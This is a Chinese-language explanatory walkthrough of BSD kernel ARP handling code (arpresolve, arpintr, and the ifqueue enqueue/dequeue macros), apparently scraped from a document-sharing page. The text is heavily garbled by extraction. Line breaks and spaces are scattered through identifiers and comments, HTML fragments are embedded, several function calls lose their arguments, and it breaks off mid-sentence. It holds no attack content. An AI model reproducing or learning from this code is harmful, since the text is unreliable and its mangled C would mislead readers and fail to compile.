也 是因为同样的原因


,


但要发送的


IP< /p>


没一直没被解释


)*/





m_freem(la->la_hold); /*


释放掉上 次的包


(


一个


mbuf



),


因为上次的地址可能未找到了

< br>*/





la->la_hold = m; /*


把这次的保存进去


*/





if (rt->rt_expire) { /*


如果不是永久


AR P


节点


*/





rt->rt_flags &= ~RTF_REJECT


;





if (la->la_asked == 0 || rt->rt_expire != time_second) {/*


不在同一秒钟


,


即一秒钟可发一次


,5


次后还没


解析


,


就停止


20



*/





rt->rt_expire = time_second;/*


当前时间


*/





if (la->la_asked++ < arp_maxtries)/*


在解释地址时 重复发送


ARP


请求的包的次数


,



5



*/





arp request(ac,&SIN(rt->rt_ifa->ifa_addr)->sin_addr,&S IN(dst)->sin_addr,


ac->ac_enaddr);/*


发送请



*/





else {





rt->rt_flags |= RTF_REJECT


;/ *


为了防止


ARP


泛洪


,*/





rt->rt_expire += arpt_down;/*arpt_down= 20



,


一旦公开了

< br>down, 20


秒不发送



*/





la->la_asked = 0;/*


一共能询问


5



,



0


次开始


,


上面有


++*/





}





}





}





return (0);





}





/*





*


当数据包在

if_ethersubr.c


中的


ether_inpu t


函数处理后


,


如果查到源

< p>
,


目的地址后的






* 2


字 节是


ETHERTYPE_ARP


时会产生一软中断

< p>
,


中断向量指向此


arpintr


函数


,


实际上的意思






* < /p>


是网络上有一


ARP


包被我们的网卡接收 了


.


就由


arpint


函数处理






*/





static void





arpintr()





{





register struct mbuf *m;





register struct arphdr *ar;





int s;





/*


要理解下面的

< br>while


循环


,


你必须看看我 从


if_ethersubr.c


中的处理数据包到队列的情况


,




< /p>


下面是我


ctrl+v


过来的

< p>
:





--------------------------------------------- ------------------------------------------------





s = splimp();/*


关网络中断


*





if (IF_QFULL(inq)) {





/*#


原型是


define IF_QFULL(ifq) ((ifq)->ifq_len >= (ifq)->ifq_maxlen)


队列满


*





IF_DROP(inq);





/*


原型是


#define IF_DROP(ifq) ((ifq)->ifq_drops++)


丢弃数加


1*





m_freem(m);





} else





IF_ENQUEUE(inq, m);





/*


以下 是原型


,


作用是把


m(mbuf



)


加入到队列


in q


的尾巴






#define IF_ENQUEUE(ifq, m) {







(m)->m_nextpkt = 0;




mbuf


链表的下一个链表为结束


,


注意


:


不是


mbuf


链中的下一

< br>mbuf





if ((ifq)->ifq_tail == 0)




如果队列尾巴为没有


,


则该队列没初始化






(ifq)->ifq_head = m;




初始化队列头为


M





else




有尾巴


,


即该队列已有


mbuf





(ifq)->ifq_tail->m_nextpkt = m;




当前队列的尾巴的


mbuf


链首指针为


m





(ifq)->ifq_tail = m;




队列的尾巴指向


m(


是一


mbuf


链 首


)





(ifq)->ifq_len++;




队列长度加


1





}





*


如果你 对队列


,mbuf,mbuf



,mu bf


链首搞的稀里糊涂的话


,


不要紧< /p>


,


我会写一篇关于


mbuf


的文章






splx(s); /*


开网络中断


*





--------------- -------------------------------------------------- ------------------------------





*/





while (_head) {/*arpintrq


就是上面的


inq*/





/*





这里我 解释一下


arpintrq


结构


,


该结构实际上是一


ifqueue


结构


,



if_ether.h


中定义如下


:





struct ifqueue arpintrq;





那么< /p>


ifqueue


又是什么样的呢


?






if_var.h


中是这样定义的


:





struct ifqueue {





struct mbuf *ifq_head; /* mbuf



(

< br>排在队列的第一个


)





struct mbuf *ifq_tail; /* m buf



(


排在队列的最后一个


)


注意


:


记住了< /p>


,



mbuf



,


不是单个的


mbuf





int ifq_len; /*


多少个链






int ifq_maxlen; /*


最大容纳


mbuf


链数

< p>
,


他有个初始值


,


由网卡 驱动程式填写


,


我见到的是


5





int ifq_drops; /*



ifq_maxlen


配合使用


,


当队列放满了即

ifq_len>ifq_maxlen



,ifq_dr ops



1,





}; /*


并且抛弃进来的


mbuf







*/





s = splimp();/*


关中断


,


凡是 对队列进行操作的都要


*/





IF_DEQUEUE(&arpintrq, m);/*


把队列中的第一个


mbuf


链的指针放 入


m







我们来看看这个宏






#define IF_DEQUEUE(ifq, m) {



< p>
/*


当然


,


< p>
ifq


是指


arpintrq





(m) = (ifq)->ifq_head;




/*


第一个


mbuf


链放到


m







if (m) {




/*


如果


m


指向空


,


在宏之外的函数会处理






if (((ifq)->ifq_head = (m)->m_nextpkt) == 0)




/*


把该链的下一个链首放入队列头并判断是否为空





(ifq)->ifq_tail = 0;




/*


如果 头都为空


,


那么尾巴一定要置空


,


要不然


...


就全乱套了

< br>





(m)->m_nextpkt = 0;




/*


多此 一举


,


你们看看上面都判断了为空


,< /p>


这里还要填空






(ifq)->ifq_len--;




/*


长度减一






}







}





*/





spl x(s);/*


操作完成


,


开中断


*/





if (m == 0 || (m->m_flags & M_PKTHDR) == 0)/*


因为上面的宏会返回空


,


所以在这里要处理一下


*/





panic(





if (m->m_len < sizeof(struct arphdr) &&





((m = m_pullup(m, sizeof(struct arphdr))) == NULL)) {





/*


注意 上面这个


if,


他是先执行


m->m_ len





也就是说如果


mbuf


链的第一个


mubf


的长度小于标准的


arp


头部的话


,


有可能在 这个


mbuf







只有< /p>


arp


头的一部分


,

另外一部分通过调用


m_pullup


合并相邻的这两个< /p>


mbuf


看看是否有效


,





根据统 计


,


通常是无效的


,

< br>这种情况在判断


IP


头的时候也会遇见

< br>.m_pullup


是一大函数


,


以后我






会讲一讲






*/





log(LOG_ERR,



n


记录下来


*/





con tinue;/*


既然这个


mbuf


链 是无意义的


,


那么进行下一个


whil e*/





}





ar = mtod(m, struct arphdr *);





if (ntohs(ar->ar_hrd) != ARPHRD_ETHER





&& ntohs(ar->ar_hrd) != ARPHRD_IEEE802) {





log(LOG_ERR,







n





(unsigned char *)&ar->ar_hrd,





m_freem(m);/*


释放掉该


mbuf



*/





continue;/*


既然这个


mbuf


链是无意义的


,


那么进行下一个


while*/





}





if (m->m_ < sizeof(struct arphdr) + 2 * ar->ar_hln/*< /p>


这是判断该


mbuf


链的


-


-


-


-


-


-


-


-



本文更新与2021-02-09 16:38,由作者提供,不代表本网站立场,转载请注明出处:https://www.bjmy2z.cn/gaokao/622372.html

ARP请求详解的相关文章